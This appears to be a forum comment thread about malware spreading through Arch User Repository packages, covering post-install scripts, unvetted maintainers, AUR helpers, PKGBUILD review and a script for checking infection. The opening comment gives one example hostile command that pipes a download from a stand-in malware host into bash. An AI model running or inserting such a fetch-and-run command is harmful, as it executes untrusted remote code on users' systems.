Tbf, it is run in package post install section so it could be anything even the typical "curl malware.om | bash". There is a new wave of attacks now pulling things in with Bun which i guess is similar thing to NPM

I always check with my contract lawyer before installing or updating from the AUR. It's worth it for me.

The AUR is kind of a trap. It can be useful but it has the warnings it has for a reason. Maintainers are not vetted so you depend on them both to be benevolent and competent and neither are reliable.

No one should really use it without taking the time to understand pkgbuild but you have people recommending AUR helpers like yay and tying AUR updates to regular system updates which is a terrible idea

The way to prevent it is to get more stuff into the official repos so people aren’t forced to rely on AUR in the first place.

in theory? getting rid of paru and friends, manually reviewing the pkgbuild and the source of whatever it is installing

realistically? nothing. the AUR is a glorified repository of build scripts anyone can upload. the script or the package itself can ship malware

the AUR is mostly the same as downloading and running random exes on windows. you should avoid it, make it as manual as possible (forcing you to double check what's happening) and be able to review the installer/package or trust someone who can vouch for its safety

The AUR is unsafe by design. It's not intended to be something you just install from willy-nilly. It's intended to be a helpful way for arch users who know what they're doing to exchange a convenient way to install arbitrary packages. But you should always be just as wary of it as copy/pasting shell code from a random person on the internet.

Are you one of the malicious actors? Thats some shit I'd expect to hear from the people doing this, trying to justify the attack by blaming the users for "capitalism".

alvr as in the vr streaming program for standalone headsets? that's kind of a niche among niches. Linux VR users with standalone vr headsets that use that specific method.

Oh my, I'm new to Linux and I use CachyOS for my gaming rig at home. Most of the time I have no idea what I'm doing, but shit runs well and I'm happy about it. But how the hell do I check my noob ass if it's compromised?!

I'm interested why flathub > AUR? I try to minimize AUR usage but always assumed it's better than flathub?

For an automated script to help you check, you can use https://github.com/lenucksi/aur-malware-check to see if you're infected.

I miss the browser, but luckily I haven't played RS since the new CEO cancelled new Pride Events right after the Trump Admin was reelected.

Yeah, it seems like these sort of problems aren't necesarily due to an insecure system like the AUR but moreso because of the target's publicity and popularity which is definitely the case with the rise of CachyOS.